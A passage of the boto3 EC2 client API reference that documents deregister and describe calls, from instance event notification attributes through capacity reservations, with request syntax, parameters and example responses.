Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeregisterInstanceEventNotificationAttributes) + +**Request Syntax** + +response = client.deregister_instance_event_notification_attributes( + DryRun=True|False, + InstanceTagAttribute={ + 'IncludeAllTagsOfInstance': True|False, + 'InstanceTagKeys': [ + 'string', + ] + } +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **InstanceTagAttribute** (_dict_) -- + + Information about the tag keys to deregister. + + * **IncludeAllTagsOfInstance** _(boolean) --_ + + Indicates whether to deregister all tag keys in the current Region. Specify false to deregister all tag keys. + + * **InstanceTagKeys** _(list) --_ + + Information about the tag keys to deregister. + + * _(string) --_ + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InstanceTagAttribute': { + 'InstanceTagKeys': [ + 'string', + ], + 'IncludeAllTagsOfInstance': True|False + } +} + +**Response Structure** + +* _(dict) --_ + + * **InstanceTagAttribute** _(dict) --_ + + The resulting set of tag keys. + + * **InstanceTagKeys** _(list) --_ + + The registered tag keys. + + * _(string) --_ + * **IncludeAllTagsOfInstance** _(boolean) --_ + + Indicates whether all tag keys in the current Region are registered to appear in scheduled event notifications. true indicates that all tag keys in the current Region are registered. + + +deregister_transit_gateway_multicast_group_members(kwargs_)definition") + +Deregisters the specified members (network interfaces) from the transit gateway multicast group. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeregisterTransitGatewayMulticastGroupMembers) + +**Request Syntax** + +response = client.deregister_transit_gateway_multicast_group_members( + TransitGatewayMulticastDomainId='string', + GroupIpAddress='string', + NetworkInterfaceIds=[ + 'string', + ], + DryRun=True|False +) + +Parameters + +* **TransitGatewayMulticastDomainId** (_string_) -- The ID of the transit gateway multicast domain. +* **GroupIpAddress** (_string_) -- The IP address assigned to the transit gateway multicast group. +* **NetworkInterfaceIds** (_list_) -- + + The IDs of the group members' network interfaces. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'DeregisteredMulticastGroupMembers': { + 'TransitGatewayMulticastDomainId': 'string', + 'DeregisteredNetworkInterfaceIds': [ + 'string', + ], + 'GroupIpAddress': 'string' + } +} + +**Response Structure** + +* _(dict) --_ + + * **DeregisteredMulticastGroupMembers** _(dict) --_ + + Information about the deregistered members. + + * **TransitGatewayMulticastDomainId** _(string) --_ + + The ID of the transit gateway multicast domain. + + * **DeregisteredNetworkInterfaceIds** _(list) --_ + + The network interface IDs of the deregistered members. + + * _(string) --_ + * **GroupIpAddress** _(string) --_ + + The IP address assigned to the transit gateway multicast group. + + +deregister_transit_gateway_multicast_group_sources(kwargs_)definition") + +Deregisters the specified sources (network interfaces) from the transit gateway multicast group. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeregisterTransitGatewayMulticastGroupSources) + +**Request Syntax** + +response = client.deregister_transit_gateway_multicast_group_sources( + TransitGatewayMulticastDomainId='string', + GroupIpAddress='string', + NetworkInterfaceIds=[ + 'string', + ], + DryRun=True|False +) + +Parameters + +* **TransitGatewayMulticastDomainId** (_string_) -- The ID of the transit gateway multicast domain. +* **GroupIpAddress** (_string_) -- The IP address assigned to the transit gateway multicast group. +* **NetworkInterfaceIds** (_list_) -- + + The IDs of the group sources' network interfaces. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'DeregisteredMulticastGroupSources': { + 'TransitGatewayMulticastDomainId': 'string', + 'DeregisteredNetworkInterfaceIds': [ + 'string', + ], + 'GroupIpAddress': 'string' + } +} + +**Response Structure** + +* _(dict) --_ + + * **DeregisteredMulticastGroupSources** _(dict) --_ + + Information about the deregistered group sources. + + * **TransitGatewayMulticastDomainId** _(string) --_ + + The ID of the transit gateway multicast domain. + + * **DeregisteredNetworkInterfaceIds** _(list) --_ + + The network interface IDs of the non-registered members. + + * _(string) --_ + * **GroupIpAddress** _(string) --_ + + The IP address assigned to the transit gateway multicast group. + + +describe_account_attributes(kwargs_) + +Describes attributes of your AWS account. The following are the supported account attributes: + +* supported-platforms : Indicates whether your account can launch instances into EC2-Classic and EC2-VPC, or only into EC2-VPC. +* default-vpc : The ID of the default VPC for your account, or none . +* max-instances : This attribute is no longer supported. The returned value does not reflect your actual vCPU limit for running On-Demand Instances. For more information, see [On-Demand Instance Limits](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-on-demand-instances.html#ec2-on-demand-instances-limits) in the _Amazon Elastic Compute Cloud User Guide_ . +* vpc-max-security-groups-per-interface : The maximum number of security groups that you can assign to a network interface. +* max-elastic-ips : The maximum number of Elastic IP addresses that you can allocate for use with EC2-Classic. +* vpc-max-elastic-ips : The maximum number of Elastic IP addresses that you can allocate for use with EC2-VPC. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeAccountAttributes) + +**Request Syntax** + +response = client.describe_account_attributes( + AttributeNames=[ + 'supported-platforms'|'default-vpc', + ], + DryRun=True|False +) + +Parameters + +* **AttributeNames** (_list_) -- + + The account attribute names. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'AccountAttributes': [ + { + 'AttributeName': 'string', + 'AttributeValues': [ + { + 'AttributeValue': 'string' + }, + ] + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **AccountAttributes** _(list) --_ + + Information about the account attributes. + + * _(dict) --_ + + Describes an account attribute. + + * **AttributeName** _(string) --_ + + The name of the account attribute. + + * **AttributeValues** _(list) --_ + + The values for the account attribute. + + * _(dict) --_ + + Describes a value of an account attribute. + + * **AttributeValue** _(string) --_ + + The value of the attribute. + + +**Examples** + +This example describes the supported-platforms attribute for your AWS account. + +response = client.describe_account_attributes( + AttributeNames=[ + 'supported-platforms', + ], +) + +print(response) + +Expected Output: + +{ + 'AccountAttributes': [ + { + 'AttributeName': 'supported-platforms', + 'AttributeValues': [ + { + 'AttributeValue': 'EC2', + }, + { + 'AttributeValue': 'VPC', + }, + ], + }, + ], + 'ResponseMetadata': { + '...': '...', + }, +} + +This example describes the attributes for your AWS account. + +response = client.describe_account_attributes( +) + +print(response) + +Expected Output: + +{ + 'AccountAttributes': [ + { + 'AttributeName': 'supported-platforms', + 'AttributeValues': [ + { + 'AttributeValue': 'EC2', + }, + { + 'AttributeValue': 'VPC', + }, + ], + }, + { + 'AttributeName': 'vpc-max-security-groups-per-interface', + 'AttributeValues': [ + { + 'AttributeValue': '5', + }, + ], + }, + { + 'AttributeName': 'max-elastic-ips', + 'AttributeValues': [ + { + 'AttributeValue': '5', + }, + ], + }, + { + 'AttributeName': 'max-instances', + 'AttributeValues': [ + { + 'AttributeValue': '20', + }, + ], + }, + { + 'AttributeName': 'vpc-max-elastic-ips', + 'AttributeValues': [ + { + 'AttributeValue': '5', + }, + ], + }, + { + 'AttributeName': 'default-vpc', + 'AttributeValues': [ + { + 'AttributeValue': 'none', + }, + ], + }, + ], + 'ResponseMetadata': { + '...': '...', + }, +} + +describe_addresses(kwargs_) + +Describes the specified Elastic IP addresses or all of your Elastic IP addresses. + +An Elastic IP address is for use in either the EC2-Classic platform or in a VPC. For more information, see [Elastic IP Addresses](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeAddresses) + +**Request Syntax** + +response = client.describe_addresses( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + PublicIps=[ + 'string', + ], + AllocationIds=[ + 'string', + ], + DryRun=True|False +) + +Parameters + +* **Filters** (_list_) -- + + One or more filters. Filter names and values are case-sensitive. + + * allocation-id - [EC2-VPC] The allocation ID for the address. + * association-id - [EC2-VPC] The association ID for the address. + * domain - Indicates whether the address is for use in EC2-Classic (standard ) or in a VPC (vpc ). + * instance-id - The ID of the instance the address is associated with, if any. + * network-border-group - A unique set of Availability Zones, Local Zones, or Wavelength Zones from where AWS advertises IP addresses. + * network-interface-id - [EC2-VPC] The ID of the network interface that the address is associated with, if any. + * network-interface-owner-id - The AWS account ID of the owner. + * private-ip-address - [EC2-VPC] The private IP address associated with the Elastic IP address. + * public-ip - The Elastic IP address, or the carrier IP address. + * tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + * tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **PublicIps** (_list_) -- + + One or more Elastic IP addresses. + + Default: Describes all your Elastic IP addresses. + + * _(string) --_ +* **AllocationIds** (_list_) -- + + [EC2-VPC] Information about the allocation IDs. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Addresses': [ + { + 'InstanceId': 'string', + 'PublicIp': 'string', + 'AllocationId': 'string', + 'AssociationId': 'string', + 'Domain': 'vpc'|'standard', + 'NetworkInterfaceId': 'string', + 'NetworkInterfaceOwnerId': 'string', + 'PrivateIpAddress': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'PublicIpv4Pool': 'string', + 'NetworkBorderGroup': 'string', + 'CustomerOwnedIp': 'string', + 'CustomerOwnedIpv4Pool': 'string', + 'CarrierIp': 'string' + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **Addresses** _(list) --_ + + Information about the Elastic IP addresses. + + * _(dict) --_ + + Describes an Elastic IP address, or a carrier IP address. + + * **InstanceId** _(string) --_ + + The ID of the instance that the address is associated with (if any). + + * **PublicIp** _(string) --_ + + The Elastic IP address. + + * **AllocationId** _(string) --_ + + The ID representing the allocation of the address for use with EC2-VPC. + + * **AssociationId** _(string) --_ + + The ID representing the association of the address with an instance in a VPC. + + * **Domain** _(string) --_ + + Indicates whether this Elastic IP address is for use with instances in EC2-Classic (standard ) or instances in a VPC (vpc ). + + * **NetworkInterfaceId** _(string) --_ + + The ID of the network interface. + + * **NetworkInterfaceOwnerId** _(string) --_ + + The ID of the AWS account that owns the network interface. + + * **PrivateIpAddress** _(string) --_ + + The private IP address associated with the Elastic IP address. + + * **Tags** _(list) --_ + + Any tags assigned to the Elastic IP address. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **PublicIpv4Pool** _(string) --_ + + The ID of an address pool. + + * **NetworkBorderGroup** _(string) --_ + + The name of the unique set of Availability Zones, Local Zones, or Wavelength Zones from which AWS advertises IP addresses. + + * **CustomerOwnedIp** _(string) --_ + + The customer-owned IP address. + + * **CustomerOwnedIpv4Pool** _(string) --_ + + The ID of the customer-owned address pool. + + * **CarrierIp** _(string) --_ + + The carrier IP address associated. This option is only available for network interfaces which reside in a subnet in a Wavelength Zone (for example an EC2 instance). + + +**Examples** + +This example describes your Elastic IP addresses. + +response = client.describe_addresses( +) + +print(response) + +Expected Output: + +{ + 'Addresses': [ + { + 'Domain': 'standard', + 'InstanceId': 'i-1234567890abcdef0', + 'PublicIp': '198.51.100.0', + }, + { + 'AllocationId': 'eipalloc-12345678', + 'AssociationId': 'eipassoc-12345678', + 'Domain': 'vpc', + 'InstanceId': 'i-1234567890abcdef0', + 'NetworkInterfaceId': 'eni-12345678', + 'NetworkInterfaceOwnerId': '123456789012', + 'PrivateIpAddress': '10.0.1.241', + 'PublicIp': '203.0.113.0', + }, + ], + 'ResponseMetadata': { + '...': '...', + }, +} + +This example describes your Elastic IP addresses for use with instances in a VPC. + +response = client.describe_addresses( + Filters=[ + { + 'Name': 'domain', + 'Values': [ + 'vpc', + ], + }, + ], +) + +print(response) + +Expected Output: + +{ + 'Addresses': [ + { + 'AllocationId': 'eipalloc-12345678', + 'AssociationId': 'eipassoc-12345678', + 'Domain': 'vpc', + 'InstanceId': 'i-1234567890abcdef0', + 'NetworkInterfaceId': 'eni-12345678', + 'NetworkInterfaceOwnerId': '123456789012', + 'PrivateIpAddress': '10.0.1.241', + 'PublicIp': '203.0.113.0', + }, + ], + 'ResponseMetadata': { + '...': '...', + }, +} + +This example describes your Elastic IP addresses for use with instances in EC2-Classic. + +response = client.describe_addresses( + Filters=[ + { + 'Name': 'domain', + 'Values': [ + 'standard', + ], + }, + ], +) + +print(response) + +Expected Output: + +{ + 'Addresses': [ + { + 'Domain': 'standard', + 'InstanceId': 'i-1234567890abcdef0', + 'PublicIp': '198.51.100.0', + }, + ], + 'ResponseMetadata': { + '...': '...', + }, +} + +describe_aggregate_id_format(kwargs_) + +Describes the longer ID format settings for all resource types in a specific Region. This request is useful for performing a quick audit to determine whether a specific Region is fully opted in for longer IDs (17-character IDs). + +This request only returns information about resource types that support longer IDs. + +The following resource types support longer IDs: bundle | conversion-task | customer-gateway | dhcp-options | elastic-ip-allocation | elastic-ip-association | export-task | flow-log | image | import-task | instance | internet-gateway | network-acl | network-acl-association | network-interface | network-interface-attachment | prefix-list | reservation | route-table | route-table-association | security-group | snapshot | subnet | subnet-cidr-block-association | volume | vpc | vpc-cidr-block-association | vpc-endpoint | vpc-peering-connection | vpn-connection | vpn-gateway . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeAggregateIdFormat) + +**Request Syntax** + +response = client.describe_aggregate_id_format( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'UseLongIdsAggregated': True|False, + 'Statuses': [ + { + 'Deadline': datetime(2015, 1, 1), + 'Resource': 'string', + 'UseLongIds': True|False + }, + ] +} + +**Response Structure** + +* _(dict) --_ + * **UseLongIdsAggregated** _(boolean) --_ + + Indicates whether all resource types in the Region are configured to use longer IDs. This value is only true if all users are configured to use longer IDs for all resources types in the Region. + + * **Statuses** _(list) --_ + + Information about each resource's ID format. + + * _(dict) --_ + + Describes the ID format for a resource. + + * **Deadline** _(datetime) --_ + + The date in UTC at which you are permanently switched over to using longer IDs. If a deadline is not yet available for this resource type, this field is not returned. + + * **Resource** _(string) --_ + + The type of resource. + + * **UseLongIds** _(boolean) --_ + + Indicates whether longer IDs (17-character IDs) are enabled for the resource. + + +describe_availability_zones(kwargs_) + +Describes the Availability Zones, Local Zones, and Wavelength Zones that are available to you. If there is an event impacting a zone, you can use this request to view the state and any provided messages for that zone. + +For more information about Availability Zones, Local Zones, and Wavelength Zones, see [Regions, Zones and Outposts](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-regions-availability-zones.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeAvailabilityZones) + +**Request Syntax** + +response = client.describe_availability_zones( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + ZoneNames=[ + 'string', + ], + ZoneIds=[ + 'string', + ], + AllAvailabilityZones=True|False, + DryRun=True|False +) + +Parameters + +* **Filters** (_list_) -- + + The filters. + + * group-name - For Availability Zones, use the Region name. For Local Zones, use the name of the group associated with the Local Zone (for example, us-west-2-lax-1 ) For Wavelength Zones, use the name of the group associated with the Wavelength Zone (for example, us-east-1-wl1-bos-wlz-1 ). + * message - The Zone message. + * opt-in-status - The opt-in status (opted-in , and not-opted-in | opt-in-not-required ). + * parent-zoneID - The ID of the zone that handles some of the Local Zone and Wavelength Zone control plane operations, such as API calls. + * parent-zoneName - The ID of the zone that handles some of the Local Zone and Wavelength Zone control plane operations, such as API calls. + * region-name - The name of the Region for the Zone (for example, us-east-1 ). + * state - The state of the Availability Zone, the Local Zone, or the Wavelength Zone (available | information | impaired | unavailable ). + * zone-id - The ID of the Availability Zone (for example, use1-az1 ), the Local Zone (for example, usw2-lax1-az1 ), or the Wavelength Zone (for example, us-east-1-wl1-bos-wlz-1 ). + * zone-type - The type of zone, for example, local-zone . + * zone-name - The name of the Availability Zone (for example, us-east-1a ), the Local Zone (for example, us-west-2-lax-1a ), or the Wavelength Zone (for example, us-east-1-wl1-bos-wlz-1 ). + * zone-type - The type of zone, for example, local-zone . + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **ZoneNames** (_list_) -- + + The names of the Availability Zones, Local Zones, and Wavelength Zones. + + * _(string) --_ +* **ZoneIds** (_list_) -- + + The IDs of the Availability Zones, Local Zones, and Wavelength Zones. + + * _(string) --_ +* **AllAvailabilityZones** (_boolean_) -- + + Include all Availability Zones, Local Zones, and Wavelength Zones regardless of your opt-in status. + + If you do not use this parameter, the results include only the zones for the Regions where you have chosen the option to opt in. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'AvailabilityZones': [ + { + 'State': 'available'|'information'|'impaired'|'unavailable', + 'OptInStatus': 'opt-in-not-required'|'opted-in'|'not-opted-in', + 'Messages': [ + { + 'Message': 'string' + }, + ], + 'RegionName': 'string', + 'ZoneName': 'string', + 'ZoneId': 'string', + 'GroupName': 'string', + 'NetworkBorderGroup': 'string', + 'ZoneType': 'string', + 'ParentZoneName': 'string', + 'ParentZoneId': 'string' + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **AvailabilityZones** _(list) --_ + + Information about the Availability Zones, Local Zones, and Wavelength Zones. + + * _(dict) --_ + + Describes Availability Zones, Local Zones, and Wavelength Zones. + + * **State** _(string) --_ + + The state of the Availability Zone, Local Zone, or Wavelength Zone. + + * **OptInStatus** _(string) --_ + + For Availability Zones, this parameter always has the value of opt-in-not-required . + + For Local Zones and Wavelength Zones, this parameter is the opt-in status. The possible values are opted-in , and not-opted-in . + + * **Messages** _(list) --_ + + Any messages about the Availability Zone, Local Zone, or Wavelength Zone. + + * _(dict) --_ + + Describes a message about an Availability Zone, Local Zone, or Wavelength Zone. + + * **Message** _(string) --_ + + The message about the Availability Zone, Local Zone, or Wavelength Zone. + + * **RegionName** _(string) --_ + + The name of the Region. + + * **ZoneName** _(string) --_ + + The name of the Availability Zone, Local Zone, or Wavelength Zone. + + * **ZoneId** _(string) --_ + + The ID of the Availability Zone, Local Zone, or Wavelength Zone. + + * **GroupName** _(string) --_ + + For Availability Zones, this parameter has the same value as the Region name. + + For Local Zones, the name of the associated group, for example us-west-2-lax-1 . + + For Wavelength Zones, the name of the associated group, for example us-east-1-wl1-bos-wlz-1 . + + * **NetworkBorderGroup** _(string) --_ + + The name of the network border group. + + * **ZoneType** _(string) --_ + + The type of zone. The valid values are availability-zone , local-zone , and wavelength-zone . + + * **ParentZoneName** _(string) --_ + + The name of the zone that handles some of the Local Zone or Wavelength Zone control plane operations, such as API calls. + + * **ParentZoneId** _(string) --_ + + The ID of the zone that handles some of the Local Zone or Wavelength Zone control plane operations, such as API calls. + + +**Examples** + +This example describes the Availability Zones that are available to you. The response includes Availability Zones only for the current region. + +response = client.describe_availability_zones( +) + +print(response) + +Expected Output: + +{ + 'AvailabilityZones': [ + { + 'Messages': [ + ], + 'RegionName': 'us-east-1', + 'State': 'available', + 'ZoneName': 'us-east-1b', + }, + { + 'Messages': [ + ], + 'RegionName': 'us-east-1', + 'State': 'available', + 'ZoneName': 'us-east-1c', + }, + { + 'Messages': [ + ], + 'RegionName': 'us-east-1', + 'State': 'available', + 'ZoneName': 'us-east-1d', + }, + { + 'Messages': [ + ], + 'RegionName': 'us-east-1', + 'State': 'available', + 'ZoneName': 'us-east-1e', + }, + ], + 'ResponseMetadata': { + '...': '...', + }, +} + +describe_bundle_tasks(kwargs_) + +Describes the specified bundle tasks or all of your bundle tasks. + +Note + +Completed bundle tasks are listed for only a limited time. If your bundle task is no longer in the list, you can still register an AMI from it. Just use RegisterImage with the Amazon S3 bucket name and image manifest name you provided to the bundle task. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeBundleTasks) + +**Request Syntax** + +response = client.describe_bundle_tasks( + BundleIds=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False +) + +Parameters + +* **BundleIds** (_list_) -- + + The bundle task IDs. + + Default: Describes all your bundle tasks. + + * _(string) --_ +* **Filters** (_list_) -- + + The filters. + + * bundle-id - The ID of the bundle task. + * error-code - If the task failed, the error code returned. + * error-message - If the task failed, the error message returned. + * instance-id - The ID of the instance. + * progress - The level of task completion, as a percentage (for example, 20%). + * s3-bucket - The Amazon S3 bucket to store the AMI. + * s3-prefix - The beginning of the AMI name. + * start-time - The time the task started (for example, 2013-09-15T17:15:20.000Z). + * state - The state of the task (pending | waiting-for-shutdown | bundling | storing | cancelling | complete | failed ). + * update-time - The time of the most recent update for the task. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'BundleTasks': [ + { + 'BundleId': 'string', + 'BundleTaskError': { + 'Code': 'string', + 'Message': 'string' + }, + 'InstanceId': 'string', + 'Progress': 'string', + 'StartTime': datetime(2015, 1, 1), + 'State': 'pending'|'waiting-for-shutdown'|'bundling'|'storing'|'cancelling'|'complete'|'failed', + 'Storage': { + 'S3': { + 'AWSAccessKeyId': 'string', + 'Bucket': 'string', + 'Prefix': 'string', + 'UploadPolicy': b'bytes', + 'UploadPolicySignature': 'string' + } + }, + 'UpdateTime': datetime(2015, 1, 1) + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **BundleTasks** _(list) --_ + + Information about the bundle tasks. + + * _(dict) --_ + + Describes a bundle task. + + * **BundleId** _(string) --_ + + The ID of the bundle task. + + * **BundleTaskError** _(dict) --_ + + If the task fails, a description of the error. + + * **Code** _(string) --_ + + The error code. + + * **Message** _(string) --_ + + The error message. + + * **InstanceId** _(string) --_ + + The ID of the instance associated with this bundle task. + + * **Progress** _(string) --_ + + The level of task completion, as a percent (for example, 20%). + + * **StartTime** _(datetime) --_ + + The time this task started. + + * **State** _(string) --_ + + The state of the task. + + * **Storage** _(dict) --_ + + The Amazon S3 storage locations. + + * **S3** _(dict) --_ + + An Amazon S3 storage location. + + * **AWSAccessKeyId** _(string) --_ + + The access key ID of the owner of the bucket. Before you specify a value for your access key ID, review and follow the guidance in [Best Practices for Managing AWS Access Keys](https://docs.aws.amazon.com/general/latest/gr/aws-access-keys-best-practices.html) . + + * **Bucket** _(string) --_ + + The bucket in which to store the AMI. You can specify a bucket that you already own or a new bucket that Amazon EC2 creates on your behalf. If you specify a bucket that belongs to someone else, Amazon EC2 returns an error. + + * **Prefix** _(string) --_ + + The beginning of the file name of the AMI. + + * **UploadPolicy** _(bytes) --_ + + An Amazon S3 upload policy that gives Amazon EC2 permission to upload items into Amazon S3 on your behalf. + + * **UploadPolicySignature** _(string) --_ + + The signature of the JSON document. + + * **UpdateTime** _(datetime) --_ + + The time of the most recent update for the task. + + +describe_byoip_cidrs(kwargs_) + +Describes the IP address ranges that were specified in calls to ProvisionByoipCidr . + +To describe the address pools that were created when you provisioned the address ranges, use DescribePublicIpv4Pools or DescribeIpv6Pools . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeByoipCidrs) + +**Request Syntax** + +response = client.describe_byoip_cidrs( + DryRun=True|False, + MaxResults=123, + NextToken='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **MaxResults** (_integer_) -- + + **[REQUIRED]** + + The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + +* **NextToken** (_string_) -- The token for the next page of results. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ByoipCidrs': [ + { + 'Cidr': 'string', + 'Description': 'string', + 'StatusMessage': 'string', + 'State': 'advertised'|'deprovisioned'|'failed-deprovision'|'failed-provision'|'pending-deprovision'|'pending-provision'|'provisioned'|'provisioned-not-publicly-advertisable' + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **ByoipCidrs** _(list) --_ + + Information about your address ranges. + + * _(dict) --_ + + Information about an address range that is provisioned for use with your AWS resources through bring your own IP addresses (BYOIP). + + * **Cidr** _(string) --_ + + The address range, in CIDR notation. + + * **Description** _(string) --_ + + The description of the address range. + + * **StatusMessage** _(string) --_ + + Upon success, contains the ID of the address pool. Otherwise, contains an error message. + + * **State** _(string) --_ + + The state of the address pool. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +describe_capacity_reservations(kwargs_) + +Describes one or more of your Capacity Reservations. The results describe only the Capacity Reservations in the AWS Region that you're currently using. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeCapacityReservations) + +**Request Syntax** + +response = client.describe_capacity_reservations( + CapacityReservationIds=[ + 'string', + ], + NextToken='string', + MaxResults=123, + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False +) + +Parameters + +* **CapacityReservationIds** (_list_) -- + + The ID of the Capacity Reservation. + + * _(string) --_ +* **NextToken** (_string_) -- The token to use to retrieve the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return for the request in a single page. The remaining results can be seen by sending another request with the returned nextToken value. This value can be between 5 and 500. If maxResults is given a larger value than 500, you receive an error. +* **Filters** (_list_) -- + + One or more filters. + + * instance-type - The type of instance for which the Capacity Reservation reserves capacity. + * owner-id - The ID of the AWS account that owns the Capacity Reservation. + * availability-zone-id - The Availability Zone ID of the Capacity Reservation. + * instance-platform - The type of operating system for which the Capacity Reservation reserves capacity. + * availability-zone - The Availability Zone ID of the Capacity Reservation. + * tenancy - Indicates the tenancy of the Capacity Reservation. A Capacity Reservation can have one of the following tenancy settings: + * default - The Capacity Reservation is created on hardware that is shared with other AWS accounts. + * dedicated - The Capacity Reservation is created on single-tenant hardware that is dedicated to a single AWS account. + * state - The current state of the Capacity Reservation. A Capacity Reservation can be in one of the following states: + * active - The Capacity Reservation is active and the capacity is available for your use. + * expired - The Capacity Reservation expired automatically at the date and time specified in your request. The reserved capacity is no longer available for your use. + * cancelled - The Capacity Reservation was manually cancelled. The reserved capacity is no longer available for your use. + * pending - The Capacity Reservation request was successful but the capacity provisioning is still pending. + * failed - The Capacity Reservation request has failed. A request might fail due to invalid request parameters, capacity constraints, or instance limit constraints. Failed requests are retained for 60 minutes. + * end-date - The date and time at which the Capacity Reservation expires. When a Capacity Reservation expires, the reserved capacity is released and you can no longer launch instances into it. The Capacity Reservation's state changes to expired when it reaches its end date and time. + * end-date-type - Indicates the way in which the Capacity Reservation ends. A Capacity Reservation can have one of the following end types: + * unlimited - The Capacity 